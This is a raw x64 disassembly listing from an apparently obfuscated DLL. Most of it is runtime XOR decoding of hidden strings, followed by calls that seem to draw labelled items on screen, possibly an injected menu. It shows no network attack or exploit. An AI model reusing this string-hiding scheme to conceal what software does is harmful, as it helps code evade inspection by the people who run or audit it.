movzx eax, byte [0x1801b7bf0]
lea rdx, [0x18023c109]
movsd xmm0, qword [0x1801b7be8]
lea rcx, [rbp + 0xd00]
movsd qword [rbp + 0xd00], xmm0
xor al, 0x3a
xor byte [rbp + 0xd01], 0x33
xor byte [rbp + 0xd02], 0x34
xor byte [rbp + 0xd03], 0x35
xor byte [rbp + 0xd04], 0x36
xor byte [rbp + 0xd05], 0x37
xor byte [rbp + 0xd06], 0x38
xor byte [rbp + 0xd07], 0x39
mov byte [rbp + 0xd08], al
mov byte [rbp + 0xd00], 0x43
call fcn.1800031c0
movups xmm0, xmmword [0x1801b7bf8]
movups xmmword [rbp + 0x1cc0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180094ff0
cmp r12d, 2
jl 0x180094fab
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1cc4]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180094ec0
jmp 0x180094ff0
lea r9, [rbp + 0x1cc0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180094fc0
lea rdx, [0x18023c10a]
lea rcx, [rbp + 0x1cc0]
call fcn.1800031c0
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x7c0]
addss xmm0, xmm7
mov dword [rbp + 0x7c0], 0x44070000
movss dword [rbp + 0x7c4], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b7c0c]
lea rdx, [rbp + 0x7c8]
mov eax, dword [0x1801b7c08]
mov r9d, 8
mov dword [rbp + 0x258], eax
xor r8d, r8d
movzx eax, byte [0x1801b7c0e]
xor byte [rbp + 0x259], 0x33
xor al, 0x38
xor byte [rbp + 0x25a], 0x34
xor byte [rbp + 0x25b], 0x35
mov word [rbp + 0x25c], cx
xor cl, 0x36
xor byte [rbp + 0x25d], 0x37
mov byte [rbp + 0x25c], cl
lea rcx, [rbp + 0x258]
mov dword [rbp + 0x7c8], 0x43a00000
mov dword [rbp + 0x7cc], 0x4405c000
mov byte [rbp + 0x258], Ordinal_79
mov byte [rbp + 0x25e], al
call fcn.18000fbb0
movzx eax, byte [0x1801b7c18]
lea rdx, [rbp + 0x7d0]
movsd xmm0, qword [0x1801b7c10]
lea rcx, [rbp + 0xd10]
movsd qword [rbp + 0xd10], xmm0
xor al, 0x3a
xor byte [rbp + 0xd11], 0x33
xor r9d, r9d
xor byte [rbp + 0xd12], 0x34
mov r8b, 1
xor byte [rbp + 0xd13], 0x35
xor byte [rbp + 0xd14], 0x36
xor byte [rbp + 0xd15], 0x37
xor byte [rbp + 0xd16], 0x38
xor byte [rbp + 0xd17], 0x39
mov byte [rbp + 0xd18], al
mov dword [rbp + 0x7d0], 0x43a00000
mov dword [rbp + 0x7d4], 0x43ed8000
mov byte [rbp + 0xd10], 0x53
call fcn.180003bf0
movsd xmm0, qword [0x1801b7c20]
lea rdx, [0x18023c10c]
movzx eax, byte [0x1801b7c28]
lea rcx, [rbp + 0xd20]
movsd qword [rbp + 0xd20], xmm0
mov r9d, 0x3e8
xor byte [rbp + 0xd21], 0x33
xor byte [rbp + 0xd22], 0x34
xor byte [rbp + 0xd23], 0x35
xor byte [rbp + 0xd24], 0x36
xor byte [rbp + 0xd25], 0x37
xor byte [rbp + 0xd26], 0x38
xor byte [rbp + 0xd27], 0x39
xor al, 0x3a
mov byte [rbp + 0xd20], 0x44
mov byte [rbp + 0xd28], al
jmp 0x180095b54
cmp dword [0x1802402a4], 4
jne 0x1800a5a08
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x7d8]
addss xmm0, xmm7
mov dword [rbp + 0x7d8], 0x43520000
movss dword [rbp + 0x7dc], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7c2c]
lea rdx, [rbp + 0x7e0]
mov dword [rbp + 0x40], eax
lea rcx, [rbp + 0x40]
movzx eax, byte [0x1801b7c30]
mov r9d, 8
xor byte [rbp + 0x41], 0x33
xor al, 0x36
xor byte [rbp + 0x42], 0x34
xor r8d, r8d
xor byte [rbp + 0x43], 0x35
mov byte [rbp + 0x44], al
mov dword [rbp + 0x7e0], 0x43a50000
mov dword [rbp + 0x7e4], 0x4405c000
mov byte [rbp + 0x40], Ordinal_79
call fcn.18000fbb0
cmp byte [0x1801b7c45], sil
mov eax, dword [0x1801b7c40]
movsd xmm0, qword [0x1801b7c38]
mov dword [rbp + 0x1928], eax
movzx eax, word [0x1801b7c44]
mov word [rbp + 0x192c], ax
mov dword [rbp + 0x7e8], 0x43a00000
mov dword [rbp + 0x7ec], 0x43ed8000
movsd qword [rbp + 0x1920], xmm0
je 0x1800953c0
mov r8d, esi
cmp r12d, 2
jl 0x180095374
movd eax, xmm9
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7c38]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1920], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1924]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1924], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1920]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180095390
xor r9d, r9d
lea rdx, [rbp + 0x7e8]
mov r8b, 1
lea rcx, [rbp + 0x1920]
call fcn.180003bf0
movzx eax, word [0x1801b7c58]
mov r8d, esi
movdqa xmm6, xmmword [0x1801bab60]
mov word [rbp + 0x21e8], ax
movzx eax, byte [0x1801b7c5a]
mov byte [rbp + 0x21ea], al
movups xmm0, xmmword [0x1801b7c48]
movups xmmword [rbp + 0x21d8], xmm0
cmp r12d, 2
jl 0x180095521
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x21dc]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180095430
cmp r8d, 0x13
jge 0x180095560
movsxd rax, r8d
lea r9, [rbp + 0x21d8]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x180095530
lea rdx, [0x18023c0dc]
lea rcx, [rbp + 0x21d8]
call fcn.1800031c0
mov eax, dword [0x1801b7c70]
mov r8d, esi
mov dword [rbp + 0x2428], eax
movzx eax, byte [0x1801b7c74]
mov byte [rbp + 0x242c], al
movups xmm0, xmmword [0x1801b7c60]
movups xmmword [rbp + 0x2418], xmm0
cmp r12d, 2
jl 0x1800956b1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x241c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800955c0
cmp r8d, 0x15
jge 0x1800956f0
movsxd rax, r8d
lea r9, [rbp + 0x2418]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800956c0
lea rdx, [0x18023c0c7]
lea rcx, [rbp + 0x2418]
call fcn.1800031c0
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x7f0]
addss xmm0, xmm7
mov dword [rbp + 0x7f0], 0x44070000
movss dword [rbp + 0x7f4], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b7c7c]
lea rdx, [rbp + 0x7f8]
mov eax, dword [0x1801b7c78]
mov r9d, 8
mov dword [rbp + 0x2d0], eax
xor r8d, r8d
movzx eax, byte [0x1801b7c7e]
xor byte [rbp + 0x2d1], 0x33
xor al, 0x38
xor byte [rbp + 0x2d2], 0x34
xor byte [rbp + 0x2d3], 0x35
mov word [rbp + 0x2d4], cx
xor cl, 0x36
xor byte [rbp + 0x2d5], 0x37
mov byte [rbp + 0x2d4], cl
lea rcx, [rbp + 0x2d0]
mov dword [rbp + 0x7f8], 0x43a00000
mov dword [rbp + 0x7fc], 0x4405c000
mov byte [rbp + 0x2d0], Ordinal_79
mov byte [rbp + 0x2d6], al
call fcn.18000fbb0
movzx eax, byte [0x1801b7c88]
lea rdx, [rbp + 0x800]
movsd xmm0, qword [0x1801b7c80]
lea rcx, [rbp + 0xd30]
movsd qword [rbp + 0xd30], xmm0
xor al, 0x3a
xor byte [rbp + 0xd31], 0x33
xor r9d, r9d
xor byte [rbp + 0xd32], 0x34
mov r8b, 1
xor byte [rbp + 0xd33], 0x35
xor byte [rbp + 0xd34], 0x36
xor byte [rbp + 0xd35], 0x37
xor byte [rbp + 0xd36], 0x38
xor byte [rbp + 0xd37], 0x39
mov byte [rbp + 0xd38], al
mov dword [rbp + 0x800], 0x43a00000
mov dword [rbp + 0x804], 0x43ed8000
mov byte [rbp + 0xd30], 0x53
call fcn.180003bf0
mov eax, dword [0x1801b7c98]
mov r8d, esi
movsd xmm0, qword [str.aRBPR]
mov dword [rbp + 0x1678], eax
movzx eax, byte [0x1801b7c9c]
mov byte [rbp + 0x167c], al
movsd qword [rbp + 0x1670], xmm0
cmp r12d, 2
jl 0x180095954
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.aRBPR]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1670], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1674]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1674], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1670]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180095970
mov dword [rsp + 0x28], esi
lea rdx, reloc.WS2_32.dll_accept
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x20], rbx
mov r8d, 1
lea rcx, [rbp + 0x1670]
call fcn.180008db0
movups xmm0, xmmword [str.pFXYSC]
movups xmmword [rbp + 0x1cd0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180095b40
cmp r12d, 2
jl 0x180095afb
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1cd4]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180095a10
jmp 0x180095b40
lea r9, [rbp + 0x1cd0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180095b10
mov r9d, 5
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [rbp + 0x1cd0]
mov dword [rsp + 0x28], esi
mov r8d, 1
mov qword [rsp + 0x20], rbx
call fcn.180008db0
call fcn.180006b10
call fcn.180013c40
movdqa xmm8, xmmword [0x1801bab60]
cmp dword [0x1802402a0], 2
jne 0x1800985e7
cmp dword [0x1802402a4], esi
movss xmm7, dword [0x1801baae0]
jne 0x180096fb8
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x808]
movss xmm8, dword [0x1801baad8]
addss xmm0, xmm8
mov dword [rbp + 0x808], 0x43520000
movss dword [rbp + 0x80c], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7cb0]
lea rdx, [rbp + 0x810]
mov dword [rbp + 0x48], eax
lea rcx, [rbp + 0x48]
movzx eax, byte [0x1801b7cb4]
mov r9d, 8
xor byte [rbp + 0x49], 0x33
xor al, 0x36
xor byte [rbp + 0x4a], 0x34
xor r8d, r8d
xor byte [rbp + 0x4b], 0x35
mov byte [rbp + 0x4c], al
mov dword [rbp + 0x810], 0x43a50000
mov dword [rbp + 0x814], 0x4405c000
mov byte [rbp + 0x48], Ordinal_79
call fcn.18000fbb0
movzx ecx, word [0x1801b7cbc]
lea rdx, [rbp + 0x818]
mov eax, dword [0x1801b7cb8]
xor r9d, r9d
mov dword [rbp + 0x268], eax
mov r8b, 1
movzx eax, byte [0x1801b7cbe]
xor byte [rbp + 0x269], 0x33
xor al, 0x38
xor byte [rbp + 0x26a], 0x34
xor byte [rbp + 0x26b], 0x35
mov word [rbp + 0x26c], cx
xor cl, 0x36
xor byte [rbp + 0x26d], 0x37
mov byte [rbp + 0x26c], cl
lea rcx, [rbp + 0x268]
mov dword [rbp + 0x818], 0x43a00000
mov dword [rbp + 0x81c], 0x43ed8000
mov byte [rbp + 0x268], 0x41
mov byte [rbp + 0x26e], al
call fcn.180003bf0
movzx ecx, word [0x1801b7cc4]
lea rdx, [0x18023c119]
mov eax, dword [str.sZYWYC8]
mov dword [rbp + 0x270], eax
movzx eax, byte [0x1801b7cc6]
xor byte [rbp + 0x271], 0x33
xor al, 0x38
xor byte [rbp + 0x272], 0x34
xor byte [rbp + 0x273], 0x35
mov word [rbp + 0x274], cx
xor cl, 0x36
xor byte [rbp + 0x275], 0x37
mov byte [rbp + 0x274], cl
lea rcx, [rbp + 0x270]
mov byte [rbp + 0x270], 0x41
mov byte [rbp + 0x276], al
call fcn.1800031c0
cmp byte [0x1801b7ccb], sil
mov eax, dword [str.tb5]
mov dword [rbp - 0x5c], eax
je 0x180095dd0
cmp r12d, 2
jl 0x180095d8f
movdqa xmm6, xmmword [0x1801bab60]
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm9
xorps xmm1, xmm0
movd dword [rbp - 0x5c], xmm1
jmp 0x180095dd8
lea r9, [rbp - 0x5c]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x180095da0
movdqa xmm6, xmmword [0x1801bab60]
lea rdx, [rbp - 0x5c]
lea rcx, [rbp + 0x2a60]
call fcn.180063310
mov rcx, rax
lea r8, [0x18023c11c]
lea rdx, [0x18023c148]
call fcn.18006e2b0
cmp byte [0x1801b7cdd], sil
mov eax, dword [0x1801b7cd8]
movsd xmm0, qword [str.dZQBFXJM]
mov dword [rbp + 0x1938], eax
movzx eax, word [0x1801b7cdc]
mov word [rbp + 0x193c], ax
movsd qword [rbp + 0x1930], xmm0
je 0x180095f60
mov r8d, esi
cmp r12d, 2
jl 0x180095f20
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.dZQBFXJM]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1930], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1934]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1934], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1930]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180095f30
lea rdx, [0x18023c11a]
lea rcx, [rbp + 0x1930]
call fcn.1800031c0
mov eax, dword [0x1801b7ce8]
mov r8d, esi
movsd xmm0, qword [0x1801b7ce0]
mov dword [rbp + 0x1688], eax
movzx eax, byte [0x1801b7cec]
mov byte [rbp + 0x168c], al
movsd qword [rbp + 0x1680], xmm0
cmp r12d, 2
jl 0x180096087
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7ce0]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1680], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1684]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1684], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1680]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800960a0
lea rdx, [0x18023c11b]
lea rcx, [rbp + 0x1680]
call fcn.1800031c0
movzx ecx, word [0x1801b7cf8]
lea rdx, [0x18023c008]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [str.fA_RQRJ_UO_]
xor al, 0x3c
movsd qword [rbp + 0x1390], xmm0
xor byte [rbp + 0x1391], 0x33
xor byte [rbp + 0x1392], 0x34
xor byte [rbp + 0x1393], 0x35
xor byte [rbp + 0x1394], 0x36
xor byte [rbp + 0x1395], 0x37
xor byte [rbp + 0x1396], 0x38
xor byte [rbp + 0x1397], 0x39
mov word [rbp + 0x1398], cx
xor cl, 0x3a
xor byte [rbp + 0x1399], 0x3b
mov byte [rbp + 0x1398], cl
lea rcx, [rbp + 0x1390]
mov byte [rbp + 0x1390], 0x54
mov byte [rbp + 0x139a], al
call fcn.1800031c0
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x820]
addss xmm0, xmm8
mov dword [rbp + 0x820], 0x44070000
movss dword [rbp + 0x824], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b7d00]
lea rdx, [rbp + 0x828]
mov eax, dword [0x1801b7cfc]
mov r9d, 8
mov dword [rbp + 0x278], eax
xor r8d, r8d
movzx eax, byte [0x1801b7d02]
xor byte [rbp + 0x279], 0x33
xor al, 0x38
xor byte [rbp + 0x27a], 0x34
xor byte [rbp + 0x27b], 0x35
mov word [rbp + 0x27c], cx
xor cl, 0x36
xor byte [rbp + 0x27d], 0x37
mov byte [rbp + 0x27c], cl
lea rcx, [rbp + 0x278]
mov dword [rbp + 0x828], 0x43a00000
mov dword [rbp + 0x82c], 0x4405c000
mov byte [rbp + 0x278], Ordinal_79
mov byte [rbp + 0x27e], al
call fcn.18000fbb0
cmp byte [0x1801b7d11], sil
movsd xmm0, qword [0x1801b7d08]
movzx eax, word [0x1801b7d10]
movsd qword [rbp + 0xf70], xmm0
mov word [rbp + 0xf78], ax
mov dword [rbp + 0x830], 0x43a00000
mov dword [rbp + 0x834], 0x433e0000
je 0x1800962a6
xor byte [rbp + 0xf71], 0x33
xor byte [rbp + 0xf72], 0x34
xor byte [rbp + 0xf73], 0x35
xor byte [rbp + 0xf74], 0x36
xor byte [rbp + 0xf75], 0x37
